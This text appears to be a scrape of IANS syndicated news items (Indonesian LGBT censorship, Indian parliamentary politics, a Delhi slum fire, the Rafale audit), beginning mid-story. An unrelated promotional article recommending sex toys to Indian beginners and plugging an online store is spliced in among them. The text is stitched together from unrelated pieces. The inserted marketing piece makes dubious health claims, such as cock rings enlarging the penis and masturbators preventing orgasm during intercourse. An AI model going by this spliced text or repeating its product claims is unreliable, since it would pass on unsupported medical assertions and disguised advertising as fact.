Instagram took the decision after Communication Minister Rudiantara on Monday threatened to shut down the platform in the country unless the company took steps to fulfil the Ministry's demand.

Homosexuality is legal across Indonesia - except for in Sharia law-ruled Aceh province - and though the LGBT community has yet to meet acceptance, it had been tolerated in the past.

But the Electronic Information and Transactions (EIT) law and the law against pornography have often been used in Indonesia to criminalize homosexuality and the LGBT community, according to non-profit Human Rights Watch.

In February 2018, the government blocked more than 200 mobile applications and websites with content related to homosexuality.

Months later in October, the police arrested two people on the Java Island for running a Facebook page for gays, accusing them of publishing pornography and pressing charges under the EIT law.

To "safeguard" moral norms on the Internet, the Ministry of Communication has also threatened to shut down other social networks and messaging apps in recent years apart from blocking hundreds of webpages and apps carrying content that promotes homosexuality.

Nearly 88 per cent of Indonesia's over 260 million people are Muslims and the majority of them are said to be moderates.

--IANS

soni/

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)UPA Chairperson Sonia Gandhi on Wednesday said that she did not want to be the Prime Minister.

She made the one-line intervention in the Lok Sabha when former Prime Minister and JD(S) member H.D. Deve Gowda said that she could have become Prime Minister during the UPA term between 2004 and 2014.

Making his valedictory speech in the 16th Lok Sabha, Gowda said he has watched Sonia Gandhi's performance.

"Some people are debating her citizenship. In the last 30 years, this was not an issue. But some people have raised the issue that on one occasion she was unable to become the Prime Minister," he said.

Gandhi interjected: "I did not want to (be Prime Minister)."

Gowda said: "In a way, you decided not to become Prime Minister, but I remember an incident when Vajpayee sat on a day-long 'Prayashchit Satyagrah' near the Rashtrapati Bhavan."

"On that occasion, I had said in Bhopal that 'Vajpayee is a great man but why should he hold a satyagraha for a day?' Then the press people had asked me, 'are you asking for his resignation?'

"I told then, why not? Then they asked who will be the next Prime Minister? Why not Madam Sonia Gandhi who was the Leader of Opposition? What is the citizenship issue? I myself raised the issue in Bhopal. That is what I am saying."

Gandhi then acknowledged Gowda's clarification.

--IANS

rak/vsc/nir

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Narendra Modi government is yet to take a decision on bringing an ordinance to amend the Citizenship bill after the amendment bill failed to secure parliamentary approval, Parliamentary Affairs Minister Narendra Singh Tomar said.

The government, however, is likely to repromulgate the triple talaq ordinance as it could not get the Muslim Women (Protection of Rights on Marriage) Bill too passed in the upper House, though Tomar refused to comment on that too.

"I cannot say anything as of now on this matter. We will think over it," Tomar said in response to IANS query whether ordinances will be brought in place of the said bills.

The Citizenship Amendment Bill is being widely opposed, especially in the northeast where even the BJP's allies in the NDA have taken a strong exception to the legislation that was passed by the Lok Sabha last month.

Tomar blamed the opposition for non-passage of the triple talaq bill, saying the opposition's attitude changed as the election came nearer.

--IANS

mak/vd

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Former Afghan President Sibghatullah Mojaddedi who passed away earlier this week after a long illness was laid to rest on Wednesday in his ancestral graveyard here amid tight security.

Mojaddedi died late on Monday at the age of 93, his family said on Tuesday. He fought the Soviets and later became the country's interim President after the collapse of the Afghan Communist regime in 1992.

Hundreds of people including President Mohammad Ashraf Ghani, his predecessor Hamid Karzai and Cabinet ministers, attended the funeral ceremony performed at the Presidential Palace, Xinhua news agency reported.

Mojaddedi was also the founder and leader of Jebha-e-Nejat-e Melli (National Liberation Front).

While paying tribute to Mojaddedi, Ghani described his death as a great loss for the nation and declared Wednesday as national mourning day.

--IANS

soni/

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)At least 250 shanties were burnt down early on Wednesday in a massive fire that broke out in west Delhi slums and left one injured, a fire officer said. No casualties were reported.

The fire started around 1.15 a.m. in the Shaheed Bhagat Singh Camp at Paschim Puri.

"At least 28 fire tenders were rushed to the spot and the fire was doused by 3.30 a.m.," the officer told IANS.

Prima facie it appears to have been caused by a short circuit. The exact cause was yet to be established.

"A woman, identified as Sehanaaz, 40, suffered burn injuries and is undergoing treatment," he added.

The incident led to people ending up under an open sky on roads, and elsewhere on a cold night.

Delhi Minister for Home and Urban Development Satyendar Jain visited the area and directed the District Magistrate and the Delhi Urban Shelter Improvement Board (DUSIB) to rehabilitate those affected.

Chief Minister Arvind Kejriwal was expected to visit the scene later in the day.

The incident comes a day after a major fire engulfed a five-storeyed hotel in Karol Bagh in central Delhi, killing 17 people.

--IANS

sp-nks/mag/in

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The sextoy market is growing quite rapidly in India right now.

Although it is not a big trend, it is a hot topic on the internet as it is secretly expanding its market.

In this article, we will focus on sextoy and introduce recommended sextoy for Indian beginners of sextoy by gender.

India, the birthplace of the Kama Sutra, is very strict about sex.

Also, premarital sex is basically not allowed. Therefore, there are many people who are sexually restricted.

But what happens when you continue to be sexually restricted?

Frustration may build up and you may end up taking your sexual stress out on your partner.

If you are able to adopt sextoy in a timely manner, you can get rid of those problems.

I want to have more exciting sex than Im having now.

I want more variation in masturbation

I want to get even stronger pleasure than I do on my own.

If you have any of these problems, please stay with me until the end.

What is sex toys for Indian?

Sextoy, as the name implies, is a toy used during sex and masturbation.

It is a generic term for vibrators, Egg-vibrators, Electric massagers, dildo, handcuffs and condoms.

They are used to make regular sex more exciting or to make masturbation more pleasurable.

Because sextoy is very stimulating, it can help you to get rid of the problems and frustrations of being in a rut of sex with your partner for a long time, or if you are unhappy with the lack of pleasure in sex with your partner.

The ability to satisfy your desires with movement, texture, and size, which cannot be done by a normal human being, can help you to be satisfied with sex and, as a result, improve your relationship with your partner.

It is also said to help improve sexual dysfunction (inability to get an erection or ejaculate) and difficulty in feeling during sex (insensitivity), which is attracting more attention than in the past.

In recent years, the demand for sextoy has increased due to the spread of smartphones and the Internet and the increasing number of people using online shopping.

Even those who are concerned about the appearance of sextoy (and find it difficult to purchase) can now easily obtain it by using mail order.

In the case of online shopping, most of the stores have taken steps to ensure that the contents of the products delivered to you are not revealed, so you can purchase them without your family members knowing.

Until a while ago, you had to go to the store where the adult goods were sold to buy them, so it was quite a hurdle to overcome.

Also, many people may have an image that sextoy is somehow embarrassing to own.

But nowadays, some of them are so stylish and cute that you cant believe they are sextoy at a glance.

More and more people are using them for travel and outdoor use because they are not too bulky and are suitable for carrying around.

Sextoy situation in India

Before introducing the recommended sextoy for Indians, lets talk about one of the sextoy situations in India in recent years.

In India, due to the high concentration of population, the following six cities have particularly high sales of sextoy in India.

Mumbai

Kolkata

Bangalore

Delhi

Chennai

Hyderabad

These cities account for roughly 70 percent of sextoy sales in India.

In the future, the percentage of sextoy use will gradually increase in other cities in India as well.

If you never talk about sextoy publicly, that girl in your neighborhood might be a sextoy user too.

If you are interested in sextoy, you dont have to suppress your desire for it.

What are Sextoys for beginner?

Among all sextoys, sextoy for beginners are vibrators, dildo, masturbators, Sex Lubricants, and condoms.

Sex Lubricants and condoms, which are familiar to people who have had sex, are also a great beginners sextoy.

I will explain the details of each toy later, but there are many sextoy products that are painful to use and can only be used after some anal expansion.

I assume that the Indian readers of this article are people who have not had much experience with sextoy.

If such people use professional sextoy suddenly, they are at risk of injury or trauma.

Therefore, to introduce sextoy, you need to start with a beginners version and gradually become familiar with it.

Advantages of using sextoy for Indians

There are three advantages of using sextoy for Indians

You can masturbate in a wide variety of ways.

Can have stimulating sex

Can develop new sexual zones

If you try to masturbate with your own fingers or hands, it tends to be a pattern.

However, with sextoy, you can easily masturbate in a variety of ways.

You will definitely be fascinated by the attraction of new stimulation.

Also, your daily sex life will be more exciting than ever.

There are many things in sextoy that are visually stimulating and give you a strong and intense feeling of pleasure.

This allows you to see your partners promiscuity in a way that you wouldnt normally see it.

When you are in a relationship, sex with your partner may become a pattern, but it can also eliminate these problems.

It can also lead to the development of new sexual zones (which is the training of sexual stimulation to allow you to feel orgasms).

For more information on the development of new sexual zones, see the following articles

[Women's Erogenous Zone]How to find and develop, 7 hidden sexual zones !![In India] In this issue, we will dissect the female erogenous zone! ..." Many of you may be like that. Men, in particular, shou...

Thus, the use of sextoy can only be a good thing for the men and women of India.

Sextoy for beginner men in India

So, lets continue with the recommended goods for Indian sextoy beginners.

For ease of understanding, we will introduce them by gender. Lets start with the men!

The following five goods are recommended for novice Indian sextoy men

Masturbator

Cock rings

Love Doll

Sex Lubricants

Toys for the prostate

Lets check each one in detail.

Masturbator

The masturbator is a sextoy for men that elaborately reproduces a womans vagina, mouth, and anus, and is one of the most popular sextoy products.

It is used by men to masturbate, and it is popular because it provides stronger stimulation and pleasure more easily than using hands.

Most are made of good quality silicone, and their softness is something that cannot be achieved with ones own hands.

They can provide stronger pleasure than a real womans vagina, so be careful not to overuse them. (You wont be able to have an orgasm in a womans vagina anymore.)

Again Male masturbators are a wonderful toy. I do not need any favourite timing, bothersome bargaining. You do not have to worry too much.

Revolutionize your masturbation time! ! !

Made in Japan is a wonderful kinky toy.#sextoysindia #SexToyIndia #Japanhttps://t.co/4k70QGzoTP pic.twitter.com/tRVdxTKPpa   SEXToys India PR  (@SextoysIndia) November 12, 2018

Some of them are disposable, while others can be washed and used over and over again, so its fun to buy a few to use depending on your mood.

If you want to know more about masturbator, please click here

Really pleasant male masturbation and how to do it Are you in a rut with your daily masturbation routine? I'm going to show you five ways men masturbate that you might ...

[For Beginners] How to choose and use a male masturbator without fail Gentlemen.Have you ever used a masturbator? The person who sees this article is probably the one who has not experien...

Cock Ring

A cock ring is literally a ring-shaped sextoy that is worn on a mans penis.

It maintains an erection by binding the penis with a ring of rubber and blocking blood flow.

It is sometimes used as an accessory to be worn on the penis, and may be made of metal or plastic as well as rubber.

In some cases, cock rings have parts or vibrators attached to them that stimulate the vagina, so they kill two birds with one stone, giving a woman pleasure while maintaining an erection.

Cock rings are also sometimes used to treat erectile dysfunction.

It can help with erectile dysfunction, where the penis doesnt get hard when you get an erection or doesnt last long when you try to insert it.

Men who are prone to breakage or who are unsure of the hardness and size of their erections can use a cock ring to increase the size of their penis and maintain an erection for a longer period of time.

Cock rings vary in price from around RS700 to over RS2000 with a vibrator function.

Some of them do not fit your penis, so you should check the size of the cock ring before you buy.

You should know the size of your partners or your own penis when it is erect.

[Penis enlargement] What is a cock ring? Types and usage Cock rings can make your penis bigger and harder. It also makes sex with women more fulfilling and increases your sat...

Love Doll

Love dolls, also known as Dutchwives, are dolls with the appearance of a woman who can experience simulated sex.

There are dolls that look like a woman, but they have no face and only have their breasts and lower torso cut off, and some dolls are so realistic that they can actually be mistaken for real women.

Some expensive dolls can cost more than 1 million yen, and the quality of the doll is easily influenced by the price.

The higher the price, the higher the quality of the doll will be, the closer it will be to the real woman, and the cheaper the doll will be, the less elaborate it will be, making it look like a real doll! Something is wrong! That is also true.

You cant go wrong if you choose a balance between price and taste.

There are stores that allow you to make custom-made love dolls, so you can create a girl of your choice.

You can make a girl of your choice. You can start with inexpensive love dolls at first, and once you get used to it, you can try custom-made love dolls.

If you want to know more about Love doll, please click here

Thorough explanation of the charm of sex dolls! Have you ever heard of sex dolls that are used primarily for pseudo-sex purposes? It is a doll that is quite close to...

Sex lubricants

Sex lubricants are used as a substitute for lubricating fluid during sex or as a lubricant for men to use masturbator rules.

It is not uncommon for women to have difficulty getting wet, depending on their physical condition, or to have difficulty getting wet due to their constitution.

Forcing the penis into the vagina at such times can cause painful intercourse.

There are various types of Sex Lubricants, some with a warming effect, some with a cooling effect, and some with a scent.

Changing the Sex Lubricant used during play is recommended as a good sex accent.

If you want to learn more about Sex Lubricants, click here.

What is sex lubricant?Explain the difference and usage of each ingredient The word "sex toy" may seem like a hurdle to overcome, but lotion is actually one of the most familiar sex toys. Many...

Toys for the Prostate

Another sextoy for men is prostate toys.

The most famous prostate toys include Enemagra, which was originally a prostate massager developed by an American urologist to treat an enlarged prostate line.

Modern prostate toys are imitations of Enemagra that have spread as sextoy for men.

Many people think of prostate toys as being used by gay men, but in fact they are often used by straight men.

What is the prostate?

The prostate is an organ found only in men. It is a walnut-sized organ located deep in the pelvis, just below the bladder, and its primary role is to protect and nourish sperm.

You cannot touch the prostate gland from outside the body, but you can touch it by inserting a finger or sextoy through the anus.

By inserting a finger or sextoy through the anus and touching the prostate and developing it, you can feel intense orgasms.

Orgasms felt in the prostate are mainly dry orgasms, which are orgasms that do not involve ejaculation. (You can also feel orgasms with ejaculation through prostate stimulation.)

The prostate is called the male G-spot, and dry orgasms can be much more intense than ejaculation.

Therefore, men who are able to develop a prostate can become addicted to the pleasure.

sextoy for beinner women in India

The following are the recommended goods for Indian women who are new to sextoy.

The following three are recommended for use by women who are new to sextoy.

Vibrator.

Dildo

Electric Masserger

Lets check out what each one is in detail.

If you want to check out womens toys, click here.

[BEST25]Sex Toys for Women in IndiaThat Can Help You Have an Orgasm There are many women who pretend to feel orgasm during sex. But don't worry, you don't have to pretend to feel orgasm...

Vibrators

A vibrator is a sextoy that vibrates with an Egg-Vibrator to provide stimulation and is often referred to simply as a vibrator.

Some vibrate as well as rotate, and there are many variations of sextoy.

It is quite a popular sextoy, and is well recognized by people who do not know much about sextoy.

Its usage is similar to that of a massager, but it is more compact and easier to carry than a massager, and many of them look as cute as a lipstick or a macaroon, so they are popular among women.

For a while, a famous influencer on twitter said, This is good! You may have heard of the topic of this article by introducing the recommended vibrators.

Vibrators are great for women to use on their own, but they are also recommended for men who have difficulty satisfying women with sex.

Since it is powered by electricity, it is far less tiring than moving your hands by yourself.

This makes it easier to satisfy a woman with sex because you can caress her for longer than usual.

Vibrators are mainly used on the female side, but they can also be used on men.

When used on men, they are used to attack the nipples and glans, and in both cases it is recommended to wear a condom for hygiene reasons.

Introducing how to use the vibrator, its purpose, and how to choose it! Vibrator uses the vibrations caused by the rotation of the motor to provide stimulation. It is one or two of the most...

Dildo

A dildo is a model sextoy made to mimic a male penis.

It can be made of silicone, elastomer (think of it as a material similar to PVC), metal or glass.

A dildo can be used by a man for his female partner during sex, or by a woman for masturbation to get pleasure from it.

They are mainly inserted into women, but some can be used in the male anus as well.

It is sometimes used synonymously with vibrators, but the vibrator is not the same thing as a vibrating device.

A model of a penis that does not vibrate is a dildo.

Some of them have suction cups that can be attached to the floor or wall so that you can enjoy realistic masturbation without using your hands.

For fun, there is a dildo made in the shape of your partners penis.

This one is also popular as a gift, and if youve been together for a long time and are having trouble finding a gift for your partner, you might want to pick one.

To learn more about dildo, please click here.

What is Dildo: Orgasms with Dildos for Men and Women A dildo is a model of a male organ that is used by women for masturbation and by men to stimulate the prostate gland. Th...

Electric Masserger

A Electric Masserger is a hand-held electric massager, also known as a handheld massager, and can usually be purchased at electronics stores.

It was originally designed to relieve stiff shoulders and back pain, so the hurdle of buying one in a physical store is quite low.

Many people may have seen or used it in some form or another, as it is often installed in leisure hotels.

Such a massager is highly recommended for beginners because it is easy for women to get pleasure from it when they use it during masturbation.

It is larger than Egg-Vibrator and vibrations are stronger than those of Egg-Vibrators and vibrators, so even just hitting the clitoris can give you a great deal of pleasure.

For those women who have never had an orgasm during sex with their man, the massager may be a good way to get a feel for what it feels like to have an orgasm.

It looks and feels like an electric massager, so you wont have to feel awkward if your roommate finds out.

If you are in a rut of having sex with your partner, if you want to feel an orgasm through masturbation, or if you are thinking of using a sextoy, why dont you try it from a simple massager?

To learn more about Electric Masserger, click here.

What is a massager? Introducing types, selection methods, and usage Originally, the Magic-wand vibrator and the massage machine were sold as a home massage machine used for the back and th...

How to choose a sextoy for Indian

Now that weve covered the different types of sextoy, heres how to choose one.

Especially if you are trying sextoy for the first time, pay attention to the following three points:  Does the size fit you (the partner)?

Does the size fit you (your partner)?

Is the environment able to produce sound without problems?

Price range

First of all, the choice of size is quite important.

Most sextoy are used against or inserted into the genitals, but the genitals are very delicate organs for both men and women.

For this reason, using an inappropriate size may cause damage.

Secondly, the environment should be able to produce sound without problems.

Some sextoys not only wear, but also rotate and vibrate. Its easier to get pleasure from something that moves than something that doesnt, but the fact that it moves means that the internal rotors make some noise.

If you live in a house with thin walls or if you have roommates, you may not be able to concentrate because of the noise, so it is best to choose one that is silent or has a low noise level.

Especially in India, where many people live with their families, it is very important that you dont have to worry about sound when you use it.

Finally, there is the price range.

The price range of sextoy ranges widely, from around RS500 at the cheapest to RS10,000 or more at the highest.

Its good to consider how much money you can afford and how much you want to buy.

Do you want your family to not find out about sextoy?

I live with my family and want to use sextoy without them finding out! If you are a man, you should buy a camouflage sextoy that does not look like a sextoy at first glance.

For men, there are many masturbators that do not look like a sextoy, and for women, there are vibrators that only look like cosmetics.

If you choose such a type, youll be safe in case your family members find out.

How to buy sextoys in India

The best way to purchase sextoy is through online shopping.

For more information on how to purchase sextoy, please see the article below.

Sextoy is one of them.

Therefore, you can easily get sextoy in India by using online shopping.

SexToysINDIA is a long established and stable sextoy store and you can have sextoy delivered to any place in India.

They also offer cash on delivery, so those who are worried about shopping with a credit card do not have to worry.

Of course, the latest security is in place, so your information will not be taken out when you use your credit card.

To begin with, many people may be concerned about whether they are legally allowed to purchase sextoy.

ikmAs it turns out, its not illegal.

Right now, it is not open to the public because the Indian adult market is still in the development stage, but it will gradually spread from now on.

Take advantage of sextoy and open the door to new pleasures and culture.

Cautions for Indians using sextoy

When using sextoy, keep the following three things in mind

Keep sex toys clean

Watch out for electrical leakage

Beware of the heat generated by the body while using a sex toy

As I mentioned earlier, many sextoy products are used for the delicate zone.

Therefore, it is most important to keep the sextoy itself clean. It is very important to keep the sextoy itself clean, because if a slight scratch is created by friction, bacteria can enter and breed there.

It is safe to wear a condom when using the masturbator, just in case.

In addition, many sextoy devices are powered by a power source, so if they are not waterproof, there is a possibility of electric shock or malfunction due to wetness.

Some may even develop heat during continuous use. If the fever becomes too much, you may get burned, so be careful.

If you get a fever during use, stop driving the sextoy immediately and refrain from using it.

You will enjoy sex more if you keep it safe and use it correctly.

Summary

What did you think?

In this article, we have introduced the recommended sextoy for the beginners of sextoy in India.

The sextoy market is growing rapidly in India and it will continue to grow steadily in the future.

As India is a rather closed-minded country, it can be difficult to be open about ones sexual habits and values.

However, being faithful to ones desires by properly dissolving ones sexual desire is very effective for ones physical and mental health.

If this is your first time to learn about sextoy, or if you are interested in using sextoy, why not give it a try?

Indian Sextoys for ur best! will introduce you to sextoy and other trivia about sextoy, sexuality, and sexuality for men and women.

I want to read more! If you think its a great idea, please bookmark it.Strasbourg, Feb 13 (IANS/AKI) European Union countries must take shared responsibility for handling the influx of boat migrants to the bloc - as leaders agreed at a summit in June last year, Italian Prime Minister Giuseppe Conte said.

"Migration can't be managed single-handedly. We need joint efforts as was concluded at the European Council meeting last June," Conte told the European Parliament in Strasbourg on Tuesday.

The EU is under an "illusion" to think that the issue of migration can be solved by boosting its coastguard and external borders agency Frontex, Conte argued.

"The management of migration needs to be decoupled from the illusion that we can fix the problem by protecting the EU's maritime borders with massive expenditure on thousands more Frontex agents at a further cost to front-line states, whose security this would also impact," he said.

Despite a dramatic fall in the number of migrants arriving in Italy last year, hundreds were stranded in the Mediterranean for days upon weeks after interior minister Matteo Salvini controversially refused to allow them ashore until other states agreed to shelter them.

The number of migrants entering the EU last year fell by a quarter compared with 2017 to an estimated 150,000, the lowest level in five years, according to Frontex.

The total migrant arrivals in 2018 was also 92% below the peak of the migration crisis in 2015.

--IANS/AKI

vin/

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A DNA sample sent to the Forensic Science Laboratory on Wednesday will decide if the missing supervisor of Hotel Arpit Palace is still alive.

Seventeen people were killed in a fire at the hotel in central Delhi's Karol Bagh area on Tuesday morning.

The family members of the missing supervisor believe he is still alive, a police officer said.

"We have identified 16 of the 17 bodies kept for autopsy in three different hospitals. Autopsies on 14 bodies have been conducted by a panel of doctors. Autopsies on two Myanmarese women -- Hla May (66) and Mya Htwe (45) -- will be conducted on Thursday following requests by the Myammar Embassy," a senior police officer told IANS.

"A panel of doctors took the DNA samples of Himanshu and his mother, the son and wife of the missing supervisor, Lal Chand (50). They have been sent to the forensic laboratory for the identification of Chand. An unidentified body, with 80 per cent burns, was recovered from the hotel during the rescue operation," he said.

According to Himanshu, his father was a supervisor at the hotel for the last 25 years.

"I am still hoping my father is alive. We have been trying to identify the body from among the deceased in the hospitals, but none matched so far," Himanshu said.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The construction of a water storage dam in Himachal Pradesh that will provide water to the national capital and five other states will commence by the year end, Chief Minister Jai Ram Thakur said on Wednesday.

The Renukaji dam multipurpose project will cost around Rs 7,000 crore.

Replying to a question in the Assembly, he said the state would take care of the project-affected people.

The dam will be built on the Giri river in the upper Yamuna basin in Sirmaur district, adjoining Uttarakhand.

It will also generate 40 MW of electricity for Himachal Pradesh and meet the irrigation and drinking water needs of Delhi, Rajasthan, Haryana, Uttar Pradesh, Uttarakhand, besides Himachal Pradesh.

Officials told IANS that a large number of people in the state would be affected by the construction of the dam.

Currently, the land acquisition process is on and the state has challenged the enhanced land compensation awarded by a lower court in the state High Court. The matter is still pending.

Gathered under the banner of the Renuka Bandh Jan Sangharsh Samiti, the project-affected villagers told IANS that the government had not taken them into confidence before starting the land acquisition process.

They are claiming that more than 700 families from 37 villages will be affected.

The Chief Minister also said that the Central Water Commission had cleared the project cost at Rs 4,596.76 crore as per the estimate in 2015.

"Now on the directive of the Ministry of Water Resources, River Development and Ganga Rejuvenation, another estimation is being done and it is estimated to cost around Rs 7,000 crore. This estimation is under the perusal of the Central Water Commission," he said.

After the cost estimation is over, the project will be sent to the technical advisory committee for approval.

Finally, the project proposal will be cleared by the Cabinet Committee on Economic Affairs. The Central government will allocate funds for the project only after that, he said.

Official sources told IANS that with the construction of the dam the flow of the Giri river would increase by about 110 per cent. That will meet the drinking water needs of the beneficiary states.

The Centre will provide 90 per cent cost of the irrigation and drinking water component of the project and the rest 10 per cent will be borne by the six states.

Water from the Renuka dam will be released into the Yamuna river, from where it will flow to Haryana's Hathinikund barrage and finally reach Delhi.

The project had hit roadblocks repeatedly since an agreement was signed on May 12, 1994.

--IANS

vg/oeb/bg

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)After the Central Bureau of Investigation (CBI) on Monday filed a chargesheet against two Kerala CPI-M leaders in connection with a 2012 murder case, the Congress and the BJP on Wednesday demanded immediate action by the party against the accused leaders.

P. Jayarajan, the CPI-M District Secretary in Kannur, was charged under Sections 302 (murder) and 124(b) (criminal conspiracy) of the Indian Penal Code (IPC), while T.V. Rajesh, CPI-M MLA from Kalliasseri in Kannur district, was charged under Section 124(b).

The chargesheet was filed before the Tellichery Court on Monday and the details were made available to the media on Wednesday.

Jayarajan and Rajesh were arrested and jailed following the murder of Abdul Shukoor, a 22-year-old Indian Union Muslim League (IUML) activist, in Kannur district in February 2012. But they were released on bail later that year. The chargesheet states that the two CPI-M leaders had a crucial role in Shukoor's murder.

The Leader of Opposition, Congress's Ramesh Chennithala, told reporters that the CPI-M often talks about probity in politics, and should now put it into practice.

"The party should remove Jayarajan from his post and force Rajesh to quit the Assembly. But Chief Minister Pinarayi Vijayan's silence on the matter is a clear indication that they are doing their best to save the two leaders. While the veteran V.S. Achuthanandan said let the law take its course, party Secretary Kodiyeri Balakrishnan's response shows that the law would take its course just the way his party thinks," said Chennithala.

State BJP President P.S. Sreedharan Pillai told the media that when the incident took place, the state had a Congress-led government and the police acted in a manner that the accused could get out of the noose easily.

"But the CBI acted in a different manner and found out about the involvement of the CPI-M leaders in the murder. The CPI-M should ensure appropriate action against the two leaders," said Pillai.

Dismissing the Opposition's demands, State Industries Minister E.P. Jayarajan said it has now become a habit to tarnish the image of the party by registering false and baseless cases against its leaders.

"The CPI-M does not need advice from others on how to go about things. We know how to tackle all this as we have always handled such cases of victimisation very well in the past," said Jayarajan.

Shukoor was killed near Thaliparamba in Kannur district in 2012. The investigators claimed that he was murdered because he had allegedly blocked and attacked the vehicle in which the two accused CPI-M leaders were travelling. His murder occurred within hours of the attack on their vehicle.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)People across the northeastern states rejoiced as the contentious Citizenship (Amendment) Bill, 2016, is set to lapse on June 3, when the term of the present Lok Sabha ends, as the Bill could not be passed in the Rajya Sabha which was adjourned sine die on Wednesday, the last day of the Budget Session.

In Shillong, activists of the Khasi Students Union (KSU) took out a victory rally soon after the Rajya Sabha was adjourned sine die without the tabling of the Citizenship (Amendment) Bill.

The contentious Bill has been opposed by several civil society groups and political parties in the region.

Members of the Asom Gana Parishad (AGP), led by former Assam Chief Minister Prafulla Kumar Mahanta, along with the activists of North East Student's Organisation (NESO), led by its Chairman Samuel Jyrwa, reached the residence of Meghalaya Chief Minister Conrad Sangma in New Delhi to thank him for his concerted efforts to prevent the Bill from being passed in the Upper House.

The Citizenship (Amendment) Bill, which was passed by the Lok Sabha on January 8, seeks to amend the Citizenship Act, 1955, to grant Indian nationality to people belonging to minority communities - Hindus, Sikhs, Buddhists, Jains, Parsis and Christians - in Afghanistan, Bangladesh and Pakistan after six years of residence in India.

"It is indeed a great and emotional moment for all the citizens of the Northeast, as well as the country. Even the students' bodies, civil societies and NGOs stood together to oppose the Citizenship (Amendment) Bill. Today the sentiments of the people, especially those from the Northeast, have prevailed. The voice of the people has prevailed. It is a great moment for each one of us," an elated Sangma told journalists.

Sangma also thanked all organisations concerned which came together to oppose the Bill for ensuring that the message from the people reached different leaderships at different levels.

Congratulating the indigenous people from the Northeast for "their united and concerted effort" in opposing the Bill, Jyrwa said, "NESO would like to take this opportunity to call this momentous occasion a 'moral victory' for the indigenous people of the Northeast. We could stall this Bill only because of the united and continuous movement of the people.

"This also shows that the government of India will not concede to our demands on a platter, but that we have to fight and struggle for the protection and survival of the indigenous people of the Northeast.

"NESO would like to give a strong warning to the government of India to not adopt or implement policies which are detrimental to the interest of the indigenous people of the Northeast," Jyrwa said.

Besides thanking Sangma and Zoramthanga, the Chief Minister of Mizoram, for their bold stand on the issue, Jyrwa also voiced his gratitude to Bihar Chief Minister Nitish Kumar whose party Janata Dal (United) even passed a resolution in its National Executive Council to oppose the Bill.

Jyrwa said the apex students' body of the indigenous communities will not forget all those people who were injured during this movement, especially in Tripura, Manipur and Assam. NESO saluted their bravery and wished for their speedy recovery, he said.

Prime Minister Narendra Modi had recently assured the people of the northeastern region that the Bill will not cause any harm to their interests.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The CBI on Wednesday filed a supplementary chargesheet against shooters Sachin Andure and Sharad Kalaskar in connection with its probe into the murder of rationalist Narendra Dabholkar, officials said.

A senior CBI official told IANS that the two have been charged under IPC sections of criminal conspiracy and murder, Arms Act and Unlawful Activities Prevention Act.

The CBI has registered a case on the directions of the Bombay High Court. The Bombay High Court had asked the CBI to file a case on May 9, 2014. The case was filed by the CBI on June 2, 2014.

Andure was arrested on August 18, 2018 while Kalaskar was arrested on September 3, 2018.

According to CBI officials, Andure shot Dabholkar first followed by Kalaskar. Both of them are currently lodged in jail.

The agency said they are still looking for the motorcycle which was used for the killing and the weapon used in the crime.

The official said the agency had arrested alleged Hindu Janjagruti Samiti member Virendra Singh Tawde on June 10, 2016 and a chargesheet was filed against him on Spetember 6, 2016.

Dabholkar was shot dead in Pune on August 20, 2013, when he was out for his morning walk.

--IANS

aks/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In a relief to the government ahead of Lok Sabha polls, the much-awaited Comptroller and Auditor General (CAG) has found that the deal signed by the NDA regime in 2016 for 36 fighter jets was 2.86 per cent lower than the price negotiated by the UPA for 126 aircraft but felt that the present capital acquisition system is unlikely to effectively support the IAF.

Without going into the controversial offset clause of the Medium Multi Role Combat Aircraft (MMRCA) deal, the report examined the pricing but did not disclose the actual price of the 36 Rafale fighter jets contracted by the NDA government. The prices have been redacted in the audit report based on the insistence of the Defence Ministry citing the Indo-French agreement of 2008 and the provisions of Inter-Government Agreement (IGA).

The Rafale deal is believed to be of the order of Rs 59,000 crore.

Against the backdrop of the Congress and other opposition parties attacking the government accusing it of corruption in the Rafale deal, the relief from the CAG comes on top of the Supreme Court clean cheat given last year.

"Overall, it may be seen that as against the Aligned Price as estimated by Audit of 'CV' million Euro, the contract was concluded for 'U' million Euro i.e. 2.86 per cent lower than the Audit Aligned Price," the CAG said in its report on "Capital Acquisition on Indian Air Force" tabled in Parliament on Wednesday.

The report contained audit findings relating to the acquisition of MMCRA through an IGA with the government of France. "This includes examination of the pricing."

Going into the methodology of the price comparison, the national auditor said the price offered by M/S Dassault Aviation in April 2008 against the Request For Proposal (RFP) of 2007 was a market discovered price and based on competitive bidding.

The price offer of 2007 had two distinct packages: pricing for 18 flyaway aircraft package and pricing for Transfer of Technology (ToT) package for 108 aircraft which were to be licensed produced in India.

The offer of 2015 on the other hand, the CAG said, was only for 36 flyaway fighter aircraft. The acquisition and price bids of 2007 and 2015 were very different as the latter included the price of ToT for license production of 108 aircraft in India which was 77.8 per cent of the total price bid of 2007.

In a comparative analysis of 2007 and 2015 price bids, the CAG said: "The Aligned Price worked out by INT was 'U1' million Euro while the Aligned Price as assessed by the audit was 'CV' million Euro which was about 1.23 per cent lower than the INT aligned cost."

This was the price at which the 2015 contract should have been signed if the prices of 2007 and 2015 were considered at par. But as against this, the contract was signed in 2016 for 'U' million Euro which was 2.86 per cent lower than the Audit's aligned price.

The difference between the Aligned Price estimated by INT and of Audit could be attributed to inconsistent price variation factors adopted by INT, alignment of the quantities/scope of the two offers and the difficulties of the alignment itself, the CAG report said.

The contract consisted of six different packages - Flyaway aircraft package, Maintenance Package, Indian Specific Enhancements, Weapons Package, Associated Services and Simulator Package. There were a total of 14 items under these six packages.

Item-wise analysis of prices showed that the contracted prices of seven items were higher than the aligned price, three were same and four were lower. Also the price of elements could not be compared because the structure/format of Dassault bid of 2007 and offer of 2015 were different, it said.

On Weapon Package, the CAG said after alignment of scope of the aligned price worked out to 'WP1' Million Euro and the contract price was 'WP2' Million Euro, a saving of 1.05 per cent.

